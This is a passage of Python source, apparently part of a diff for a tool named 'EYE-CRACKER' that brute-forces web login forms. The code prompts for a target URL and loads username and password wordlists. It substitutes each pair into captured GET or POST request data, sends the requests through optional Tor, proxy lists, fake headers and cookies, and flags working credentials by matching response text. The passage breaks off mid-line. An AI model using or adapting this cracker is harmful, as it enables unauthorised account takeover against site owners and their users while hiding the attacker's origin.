{f.WHITE}[{f.YELLOW}WARNING{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] GET METHOD need \'$PASSWORD$\' but not found please replace \'password\' parameter to $PASSWORD$\n') + t.sleep(1) + continue + + else: + t.sleep(1) + print (f'\n {f.WHITE}{nbold}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}GET-PARAMETER{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{get_param}{nbold}\n') + break + + else: + print(f'\n {f.WHITE}{nbold}[{f.RED}ERROR{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] GET METHOD need {bold}\'$PASSWORD$\'{nbold} and {bold}\'$USER$\' {nbold} but {bold}not found{nbold} ! please replace {bold}\'password\' {nbold}parameter to {bold}$PASSWORD${nbold} and \'username\' parameter to {bold}\'$USER$\'{nbold}\n') + t.sleep(1) + continue + + except KeyboardInterrupt: + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .') + t.sleep(2) + sys.exit(0) + # break + else: + pass + + + + if method == 'get-form' or method == 'post' or method == 'post-form': + t.sleep(1) + print(f'\n {f.WHITE}[{f.GREEN}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] FORM METHOD\'S need \'$USER$\' and \'$PASSWORD$\'.') + t.sleep(1) + print(f'\n {f.WHITE}[{f.YELLOW}{bold}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] You should capture the request data and enter that !{nbold}') + t.sleep(1) + print(f'\n {f.WHITE}[{f.YELLOW}{bold}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] Replace {bold}{yellow}\'username\'{nbold} Parameter in captured[{bold}{yellow}\'data\'{nbold}] and replace to {bold}{green}$USER${nbold}!\n') + t.sleep(1) + print(f'\n {f.WHITE}[{f.YELLOW}{bold}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] Replace {bold}{yellow}\'password\'{nbold} Parameter in captured[{bold}{green}\'data\'{nbold}] and replace to {bold}{green}$PASSWORD${nbold} !{nbold}\n') + t.sleep(1) + print(f'\n {f.WHITE}[{f.GREEN}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] FORM METHOD\'S need {bold}{green}\'$USER$\'{nbold} | please replace {bold}\'username\' {nbold}parameter to {green}{bold}$USER${nbold}\n') + t.sleep(1) + print(f' {f.WHITE}[{f.GREEN}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] FORM METHOD\'S need {bold}{green}\'$PASSWORD$\'{nbold} | please replace {bold}\'password\'{nbold} parameter to {bold}{green}$PASSWORD${nbold}\n') + while True: + try: + _userdata = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}URL-[DATA]{nbold}{f.WHITE}] enter \'{bold}DATA FILE{nbold}\' [ex: data.txt | or paste]:#{yellow}{bold} ') + t.sleep(0.5) + + try: + user_data = open(_userdata, 'r').read() + except Exception as user_data_error: + print(f'\n {nbold}{f.WHITE}[{f.YELLOW}{bold}EYE-CRACKER{f.WHITE}{nbold}] {f.YELLOW} ERROR >{nbold} {user_data_error}') + t.sleep(1) + print(f'\n {f.WHITE}[{f.GREEN}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] TRY AGAIN . . . {nbold}\n') + t.sleep(1) + print(f'\n {f.WHITE}[{f.GREEN}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}]{bold} NEED DATA FILE ONLY | ENTER FILE ONLY {nbold}\n') + continue + + if user_data: + if '$USER$' not in user_data: + print(f'\n {f.WHITE}[{f.YELLOW}WARNING{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] {method} need {bold}{green}\'$USER$\'{nbold}{f.WHITE} but {yellow}not found{white} please replace {bold}{yellow}\'username\'{nbold}{f.WHITE} parameter to {bold}{green}$USER${nbold}{f.WHITE}\n') + t.sleep(1) + continue + + if '$PASSWORD$' not in user_data: + print(f'\n {f.WHITE}[{f.YELLOW}WARNING{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] {method} METHOD need {bold}{green}\'$PASSWORD$\'{nbold}{f.WHITE} but {yellow}not found{yellow} please replace {bold}{yellow}\'password\'{nbold}{f.WHITE} parameter to {bold}{green}$PASSWORD${nbold}{f.WHITE}\n') + t.sleep(1) + continue + + else: + t.sleep(1) + print (f'\n {f.WHITE}{nbold}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}DATA{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{user_data}{nbold}\n') + break + + else: + print(f'\n {f.WHITE}{nbold}[{f.RED}ERROR{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] GET METHOD need {bold}\'$PASSWORD$\'{nbold} and {bold}\'$USER$\' {nbold} but {bold}not found{nbold} ! please replace {bold}\'password\' {nbold}parameter to {bold}$PASSWORD${nbold} and \'username\' parameter to {bold}\'$USER$\'{nbold} in your captured[{green}{bold}\'data\'{nbold}{white}\n') + t.sleep(1) + continue + + except KeyboardInterrupt: + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .') + t.sleep(2) + sys.exit(0) + + + + + while True: + try: + urll = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}TARGET-URL{nbold}{f.WHITE}] enter \'{bold}URL{nbold}\' [ex: cpanel.google.com + with {bold}\'http[s]://\'{nbold}]:#{l_red}{bold} ') + print(f'{nbold}') + + if urll: + if 'http' in urll or 'https' in urll: + print (f' {f.WHITE}[{f.RED}{bold}INFO{f.WHITE}{nbold}@{f.CYAN}EYE.CRACKER/{f.CYAN}Skipper{f.WHITE}] SKIPPING ADD {bold}{f.GREEN} HTTP://{nbold} to [{green}{bold}{urll}{nbold}]\n') + t.sleep(2) + url = urll + break + if 'http' not in urll or 'https' not in urll: + print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.CYAN}EYE.CRACKER/{f.CYAN}Adder{white}] AUTOMATICALLY ADDING {bold}{f.GREEN} HTTP://{nbold} to [{green}{bold}{urll}{nbold}]\n') + url = (f'http://{urll}') + url1 = urll + t.sleep(2) + break + else: + continue + except KeyboardInterrupt: + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .') + t.sleep(2) + # break + sys.exit(0) + + print (f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}URL{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{url}{nbold}\n') + t.sleep(2) + try: + #check host + print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.CYAN}EYECRACKER/{f.GREEN}CHECK-URL{white}] {nbold}{f.CYAN}FOR VERIFY {f.WHITE}\'{bold}{l_green}CONNECTION{white}{nbold}\'] . . .{nbold} \n') + t.sleep(1) + try: + if 'http://' in url: + url1 = url.replace('http://','') + if 'https://' in url: + url1 = url.replace('https://','') + except: + pass + + first_req = r.get(url, headers=fake_hed) + + ip = socket.gethostbyname(str(url1)) +# error + print (f' {f.WHITE}{nbold}[{f.GREEN}{bold}SUCCESS{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{f.GREEN}Checker {white}] {nbold}{f.GREEN} CONNECTED {white}TO \'{bold}{urll}{nbold}{white}[{l_green}{ip}{white}]\' \n') + except Exception as first_req_error: + print (f' {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}{bold}EYE-CRACKER/{f.GREEN}CHECK-URL{f.WHITE}{nbold}] {nbold}{f.CYAN} CAN\'T CONNECT TO {white}\'{f.CYAN}{bold}{urll}{nbold}\'{nbold} [try without http://[s]] !\n') + exit_q = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}URL{nbold}{f.WHITE}] URL IS \'{bold}REAL{nbold}\' AND TRUE ? ARE YOU WANT TO EXIT ? {bold}\'[Y / N]\'{nbold}]:#{l_red}{bold} ').lower() + + if exit_q =='y': + sys.exit(0) + else: + pass + + t.sleep(3) + + + if url[-1:] == '/': + pass + else: + url = (f'{url}/') + + while True: + try: + t.sleep(2) + user_list = input(f' {nbold}{f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}USER-LIST-FILE{nbold}{f.WHITE} enter \'{bold}FILE{nbold}\' [ex: users.txt] :#{l_red}{bold} ') + print(f'{nbold}') + + if user_list: + try: + user_names = open(user_list, 'r').read().split() + print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}USERS{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{user_list}{nbold}\n') + t.sleep(3) + print (f' {f.WHITE}[{f.GREEN}INFO{nbold}{f.WHITE}] [%s] {bold}{f.CYAN}USERS Loaded {nbold}{f.WHITE} [SUCCESSFULLY] ! \n' % (str(len(user_names)))) + break + + except Exception as user_open_error: + print (f' {f.WHITE}[{f.YELLOW}WARNING{f.WHITE}] CAN\'T OPEN USER FILE , CHECK FILE EXIST ! \n') + continue + else: + continue + except KeyboardInterrupt: + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .') + t.sleep(2) + # break + sys.exit(0) + while True: + try: + pass_list = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}PASSWD-LIST-FILE{nbold}{f.WHITE} enter \'{bold}FILE{nbold}\' [ex: passwd.txt] :#{l_red}{bold} ') + print(f'{nbold}') + + if pass_list: + try: + passwords = open(pass_list, 'r').read().split() + print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}PASSWORDS{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{pass_list}{nbold}\n') + t.sleep(3) + print (f' {f.WHITE}[{f.GREEN}INFO{nbold}{f.WHITE}] [%s]{bold}{f.CYAN} PASSWORDS Loaded {nbold}{f.WHITE} [SUCCESSFULLY] ! \n' % (str(len(passwords)))) + break + + except Exception as pass_open_error: + print (f' {f.WHITE}[{f.YELLOW}WARNING{f.WHITE}] CAN\'T OPEN PASWD FILE , CHECK FILE EXIST | {white}ERROR {pass_open_error}\n') + continue + else: + continue + except KeyboardInterrupt: + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .') + t.sleep(2) + sys.exit(0) + t.sleep(2) + print (f' {f.WHITE}[{f.YELLOW}{bold}WARNING{f.WHITE}{nbold}@{f.CYAN}EYE.CRACKER/{f.GREEN}TIME{white}] if you press{bold}{f.GREEN} ENTER{nbold} delay {bold}{blue}\'SKIP\'{nbold}{white} !!!\n') + slep = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{nbold}{f.CYAN}/EYE-CRACKER/{bold}SLEEP{nbold}{f.WHITE}] Enter => Set Delay Time [Default is 1 Sec ! [skip delay]]:#{f.GREEN}{bold} ') + + + if '.' in slep: + print (f' {f.WHITE}[{f.YELLOW}WARNING{f.WHITE}] YOU CAN\'T USING Float\'s in DelayTime ! \n') + print (f' {f.WHITE}[{f.YELLOW}{bold}SET-DEFAULT{f.WHITE}{nbold}] USING Default SLEEP TIME (1 sec) \n') + slep = 1 + else: + pass + try: + slep = int(slep) + t.sleep(int(slep)) + except Exception: + print (f' {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] type {slep} not int !\n') + t.sleep(1) + print (f' {f.WHITE}[{f.YELLOW}{bold}SET-DEFAULT{f.WHITE}{nbold}] USING Default SLEEP TIME (1 sec) \n') + slep = False + + finally: + print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}SLEEP{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{slep}{nbold}\n') + + t.sleep(2) + print (f' {f.WHITE}[{f.YELLOW}{bold}WARNING{f.WHITE}{nbold}@{f.CYAN}EYE.CRACKER/{f.GREEN}INFO{white}] if you lilke using{bold}{f.GREEN} FAKE HEADERS{nbold} press {bold}{blue}\'ENTER\'{nbold}{white} !!!\n') + t.sleep(2) + header = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}HEADERS{nbold}{f.WHITE} enter \'{bold}HEADER-FILE{nbold}\' [ex: headers.json - format {bold}\'.json\':#{l_red}{bold} ') + try: + headers = open(header, 'r').read() + print (f'\n {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}HEADERS{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{header}{nbold}\n') + use_header = True + except: + use_header = False + print (f'\n {f.WHITE}[{f.YELLOW}{bold}WARNING{f.WHITE}{nbold}@{f.CYAN}EYE.CRACKER/{f.GREEN}INFO{white}] USING{bold}{f.GREEN} FAKE HEADERS {cyan}\'DEFAULT\'{nbold}{white} !!!\n') + print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}HEADERS{nbold}{f.WHITE}]{f.WHITE} >>> {bold}FAKE HEADERS{nbold}\n') + headers = fake_hed + + t.sleep(1) + tor_q = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}PROXIES{nbold}{f.WHITE} are you like to use \'{bold}TOR?{nbold}\' [ y / n] :#{l_red}{bold} ').lower() + + if tor_q == 'y': + + print (f'\n {f.WHITE}[{f.GREEN}INFO{f.WHITE}{nbold}@{f.CYAN}EYE.CRACKER/{f.GREEN}INFO{white}] PLEASE RUN {bold}{f.GREEN}\'TOR\'{nbold}{white} !!!\n') + tor_use = True + t.sleep(3) + ariana = input(f' {f.WHITE}[{f.YELLOW}{bold}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}ASK-TOR{nbold}{f.WHITE} please run \'{bold}TOR{nbold}\' [ when you runed the tor press enter] :#{l_red}{bold} ') + proxy_use = False + proxy_type = 'Tor' + else: + tor_use = False + print (f'\n {f.WHITE}{nbold}[{white}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{white}{bold}USE-TOR?{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{tor_use}{nbold}\n') + t.sleep(2) + + prox_q = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}PROXIES{nbold}{f.WHITE} are you like to use \'{bold}Proxy?{nbold}\' [ex: type: socks5, http [ y / n] :#{l_red}{bold} ').lower() + + + if prox_q: + proxy_type = None + + if prox_q == 'y': + + proxy_type = input(f'\n {f.WHITE}{nbold}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}PROXIES{nbold}{f.WHITE} enter \'{bold}PROXIES-FORMAT{nbold}\' [ex: proxy.txt . format {bold}\'http / https / socks4 / socks5\':#{l_red}{bold} ').lower() + if proxy_type == 'http': + print (f'\n {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}PROXY-TYPE{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{proxy_type}{nbold}\n') + elif proxy_type == 'https': + print (f'\n {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}PROXY-TYPE{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{proxy_type}{nbold}\n') + elif proxy_type == 'socks4': + print (f'\n {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}PROXY-TYPE{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{proxy_type}{nbold}\n') + elif proxy_type == 'socks5': + print (f'\n {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}PROXY-TYPE{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{proxy_type}{nbold}\n') + else: + print (f'\n {f.WHITE}[{f.YELLOW}{bold}WARNING{f.WHITE}{nbold}@{f.CYAN}EYE.CRACKER/{f.GREEN}INFO{white}] USING{bold}{f.GREEN} PROXY-TYPE {cyan}\'DEFAULT{green} socks5\'{nbold}{white} !!!\n') + t.sleep(2) + proxy_type == 'socks5' + print (f'\n {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}PROXY-TYPE{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{proxy_type}{nbold}\n') + + t.sleep(2) + prox = input(f'\n {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}PROXY-FILE{nbold}{f.WHITE} enter \'{bold}PROXY-FILE{nbold}\' [ex: proxy.txt . selected format > {bold}\'{proxy_type}\':#{l_red}{bold} ') + print(f'{nbold}') + try: + proxy = open(prox, 'r').read() + print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}PROXY{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{prox}{nbold}\n') + proxy_use = True + except: + print (f' {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] CAN\'T OPEN PROXY FILE [{prox_q}] ! \n') + t.sleep(2) + print (f'\n {f.WHITE}[{f.RED}{bold}ALERT{f.WHITE}{nbold}@{f.CYAN}EYE.CRACKER/{f.YELLOW}WARNING{white}] {bold}{f.GREEN} PROXY-MODE {cyan}\'SKIPPED . . .\'{nbold}{white} !!!\n') + proxy_use = False + if prox_q == 'n': + print (f'\n {f.WHITE}{nbold}[{f.GREEN}INFO{nbold}{f.WHITE}] proxy mode {bold}{f.CYAN} {white}{nbold}[{bold}{green}skipped{nbold}{white} . . . ] ! \n') + proxy_use = False + + else: + print (f' {f.WHITE}[{f.GREEN}INFO{nbold}{f.WHITE}] proxy mode {bold}{f.CYAN} {white}[{bold}{green}]skipped{nbold}{white} . . . ] ! \n') + proxy_use = False + + + cooki = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}COOKIES{nbold}{f.WHITE} are you like to use \'{bold}Cookie?{nbold}\' [ex: y / n ]:#{l_red}{bold} ').lower() +####### + if cooki: + if cooki == 'n': + print (f'\n {f.WHITE}[{f.GREEN}INFO{nbold}{f.WHITE}] USING COOKIE {bold}{green} SKIPPED . . . {nbold}{f.WHITE} ! \n') + cooki = False + print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}COOKIES{nbold}{f.WHITE}]{f.WHITE} >>> {bold}FALSE{nbold}\n\n') + t.sleep(1) + #print (f' {f.WHITE}[{f.GREEN}INFO{nbold}{f.WHITE}] testing cookies {bold}{f.CYAN} on host {nbold}{f.WHITE} [{url}] ! \n') + if cooki == 'y': + + try: + cookie = input(f'\n {nbold}{f.WHITE}{nbold}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}SET-COOKIES{nbold}{f.WHITE} please enter the \'{bold}Cookies{nbold}\' :#{l_red}{bold} ') + + t.sleep(3) + + print (f'\n {f.WHITE}{nbold}[{f.GREEN}INFO{nbold}{f.WHITE}] testing cookies {bold}{f.CYAN} on host {nbold}{f.WHITE} [{url}] ! \n') + cookie_test = r.get(url, headers=headers, cookies=str(cookie)) + cooki = True + + except Exception as cookie_error: + print (f' {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] CAN\'T Send request to {url} with you\'r cookies | ERROR: [{cookie_error}] ! \n') + t.sleep(2) + print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}] MAKE REQUEST WITHOUT COOKIE HEADERS ! \n') + t.sleep(1) + cooki = False + + + + print (f' {f.WHITE}[{f.WHITE}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}INFORMATION{nbold}{f.WHITE}]↓:↓:↓:↓\n') + t.sleep(1) + print (f' {f.WHITE}[{white}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{white}{bold}PASSWORD-FILE?{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{pass_list}---[{l_green}%s{white}]{nbold}\n' % (str(len(passwords)))) + t.sleep(1) + print (f' {f.WHITE}[{white}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{white}{bold}USER-FILE?{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{user_list}---[{l_green}%s{white}]{nbold}\n' % (str(len(user_names)))) + t.sleep(1) + print (f' {f.WHITE}[{white}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{white}{bold}USE-COOKIES?{nbold}{f.WHITE}]{f.CYAN} >>> {bold}{cooki}{nbold}\n') + t.sleep(1) + print (f' {f.WHITE}[{white}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{white}{bold}USE-TOR?{nbold}{f.WHITE}]{f.CYAN} >>> {bold}{tor_use}{nbold}\n') + t.sleep(1) + print (f' {f.WHITE}[{white}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{white}{bold}USE-PROXY?{nbold}{f.WHITE}]{f.CYAN} >>> {bold}{proxy_use}[{proxy_type}]{nbold}\n') + t.sleep(1) + print (f' {f.WHITE}[{white}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{white}{bold}USE-HEADERS?{nbold}{f.WHITE}]{f.CYAN} >>> {bold}{use_header}{nbold}\n') + t.sleep(1) + print (f' {f.WHITE}[{white}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{white}{bold}DELAY?{nbold}{f.WHITE}]{f.CYAN} >>> {bold}%s{nbold}\n' % (str(slep))) + t.sleep(1) + print (f' {f.WHITE}[{white}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{white}{bold}METHOD?{nbold}{f.WHITE}]{f.CYAN} >>> {bold}{method}{nbold}\n') + t.sleep(1) + print (f' {f.WHITE}[{white}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{white}{bold}AUTH-TYPE?{nbold}{f.WHITE}]{f.CYAN} >>> {bold}{auth_type}---[text]{nbold}\n') + t.sleep(1) + print (f' {f.WHITE}[{white}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{white}{bold}AUTH-TEXT?{nbold}{f.WHITE}]{f.CYAN} >>> {bold}{auth_text}---[{auth_type} text]{nbold}\n') + + t.sleep(1) + print(f'{nbold}') + + + def WithTor(): + + if method == 'get' or method == 'get-form': + tor_proxy = { + 'http': 'socks5://localhost:9050', + 'https': 'socks5://localhost:9050' + } + tor_error = 'ConnectionError' + + for user in user_names: + for pwd in passwords: + try: + result = r.get(url, headers=headers, proxies=tor_proxy) + result_text = result.text + + if auth_type == 'true': + if auth_text in result_text: + #print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n') + print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code))) + t.sleep(1) + print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{white}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}AUTH TEXT{nbold}{white}]---[{l_gray}{auth_text}{white}]---[{l_green} WAS {bold}FOUND{nbold} IN SITE !{nbold}{white}]') + break + else: + print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}]{white}<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n') + # continue + + + if auth_type == 'false': + if auth_text not in result_text: + print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code))) + t.sleep(1) + print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}{white}]<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}AUTH TEXT{nbold}{white}]---[{l_gray}{auth_text}{white}]---[{l_green} WAS {bold}NOT FOUND{nbold} IN SITE !{nbold}{white}]') + break + else: + print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n') + else: + print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}{white}]<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n') + try: + t.sleep(slep) + except: + pass + except ConnectionError: + print(f'\n {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{white}@{nbold}{l_red}/TorError{f.WHITE}] Forgot Run Tor? | EYE CRACKER STOPED ! PLEASE RUN {bold}{l_green}TOR{white}{nbold} IN A {bold}NEW TAB{nbold} AND TRY AGAN {nbold}\n') + t.sleep(3) + print(f'\n {f.WHITE}[{f.GREEN}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] EXITTING . . . {nbold}\n') + sys.exit(0) + #break + if method == 'post' or method == 'post-form': + tor_proxy = { + 'http': 'socks5://localhost:9050', + 'https': 'socks5://localhost:9050' + } + tor_error = 'ConnectionError' + + for user in user_names: + final_user_dataa = user_data.replace('$USER$',user) + for pwd in passwords: + final_user_data = final_user_dataa.replace('$PASSWORD$', pwd) + try: + result = r.post(url, headers=headers, data=final_user_data ,proxies=tor_proxy) + result_text = result.text + + if auth_type == 'true': + if auth_text in result_text: + #print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n') + print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code))) + t.sleep(1) + print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}AUTH TEXT{nbold}{white}]---[{l_gray}{auth_text}{white}]---[{l_green} WAS {bold}FOUND{nbold} IN SITE !{nbold}{white}]') + break + else: + #print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | 